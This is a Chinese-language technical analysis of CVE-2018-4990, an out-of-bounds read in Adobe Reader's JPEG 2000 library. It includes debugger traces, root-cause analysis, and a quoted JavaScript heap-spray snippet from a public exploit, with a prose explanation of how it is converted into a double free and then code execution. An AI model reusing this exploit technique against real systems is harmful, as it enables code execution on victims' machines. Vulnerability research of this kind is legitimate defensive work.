CVE-2018-4990 analysis

1
jp2k的越界读,转换2-free的利用。

环境信息

Win7 x86
Adobe Acrobat Reader 2018.011.20036

PoC

一张特殊构造过的JP2K图片
-w650

-w640

-w641

大小和内容都是经过构造的,这里先触发一下漏洞,分析漏洞成因。

漏洞分析

打开pageheap后,windbg调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> r
eax=00000000 ebx=00000000 ecx=6bf58598 edx=00000000 esi=00000000 edi=00000000
eip=6bf2ba58 esp=00529b04 ebp=00529b20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
verifier!VerifierStopMessage+0x1f8:
6bf2ba58 cc int 3
0:000> k10
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00529b20 6bf29ee0 verifier!VerifierStopMessage+0x1f8
00529b84 6bf26f11 verifier!VerifierDisableFaultInjectionExclusionRange+0x3f90
0052a16c 6bf26f95 verifier!VerifierDisableFaultInjectionExclusionRange+0xfc1
0052a190 6bf27240 verifier!VerifierDisableFaultInjectionExclusionRange+0x1045
0052a1ac 6bf29080 verifier!VerifierDisableFaultInjectionExclusionRange+0x12f0
0052a1c8 776b65f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3130
0052a210 7767a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5
0052a304 776465a6 ntdll!EtwSetMark+0xe743
0052a324 7733c3d4 ntdll!wcsnicmp+0xcaa
0052a338 69feecfa kernel32!HeapFree+0x14
0052a34c 64290574 MSVCR120!free+0x1a
0052a46c 642a6482 JP2KLib!JP2KCopyRect+0xbae6
0052a4c4 65f06a24 JP2KLib!JP2KImageInitDecoderEx+0x24
0052a54c 65f083be AcroRd32_65910000!AX_PDXlateToHostEx+0x2615e5
0052a5ac 65efd459 AcroRd32_65910000!AX_PDXlateToHostEx+0x262f7f
0052a5b8 65f06368 AcroRd32_65910000!AX_PDXlateToHostEx+0x25801a

根据call stack往前找,找漏洞触发的点,着重分析JP2KLib中两个调用。

1
2
3
4
int __cdecl JP2KImageInitDecoderEx(Concurrency::details::SchedulerBase *a1, int a2, int a3, int a4, int a5)
{
return sub_1004F3BD(a2, a3, a4, a5);
}

-w848

对应的汇编
-w375

调试一下这里:
-w1485

可以发现,这个循环,每次读取8字节,循环次数0xff次。

1
2
3
for(int idx = 0; idx < 0xff; idx++){
//do read work...
}

最后一次循环的时候,idx是0xfe,此时读取到 0xfe * 4
调试发现,
-w426

这个buffer size只有0xfd * 4 = 0x3f4这么大,所以导致越界读的发生。

Exploit 分析

这个利用可以说十分的巧妙,利用js布局内存,把越界读转换成了Double free完成利用。

完整Exploit链接

因为需要提前做内存布局,不能直接就触发漏洞,所以需要利用js再布局内存完成后,主动地触发漏洞,这里的做法和p2o 2017,360安全团队打Reader的利用套路一样,把图片放嵌入button field,并设置按钮不可显示,在布局完成后,设置按钮属性可显,然后触发漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var a         = new Array(0x3000);
var spraynum = 0x1000;
var sprayarr = new Array(spraynum);
var spraylen = 0x10000-24;
var spraybase = 0x0d0e0048;
var spraypos = 0x0d0f0058;

// force allocations to prepare the heap for the oob read
for(var i1 = 1; i1 < 0x3000; i1++){
a[i1] = new Uint32Array(252);

// these will be freed
a[i1][249] = spraybase;
a[i1][250] = spraybase + 0x10000;
}

// heap spray to land ArrayBuffers at 0x0d0e0048 and 0x0d0f0048
for(var i1 = 1; i1 < spraynum; i1++){
sprayarr[i1] = new ArrayBuffer(spraylen);
}

// make holes so the oob read chunk lands here
for(var i1 = 1; i1 < 0x3000; i1 = i1 + 2){
delete a[i1];
a[i1] = null;
}

内存布局的话,利用中使用了ArrayBuffer,利用堆喷,分配大量连续的Arraybuffer,并make hole,使得图片解析的时候正好分配到内存布局的hole;随后触发越界读,把漏洞转换成double free去利用。

​ 利用的后面通过sprayarr2的赋值抢占释放的0x20000内存,一旦抢占成功,sprayarr中之前被释放的elment的长度就会被修改为0x20000;最后通过之前内存布局后精准的内存释放(idx 249,250)获取一个超长element,以实现全局内存读写,再通过全局内存读写,伪造bookmarkRoot的对象实现任意代码执行。

遇到的问题(TODO)

win7上这些分析没啥问题,一步步调试,内存布局也没什么问题;在win10上内存布局出现了不连续、失效等情况,这部分TODO,需要解决。

参考

adobe-me-and-a-double-free

对CVE-2018-4990漏洞的补充分析

CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析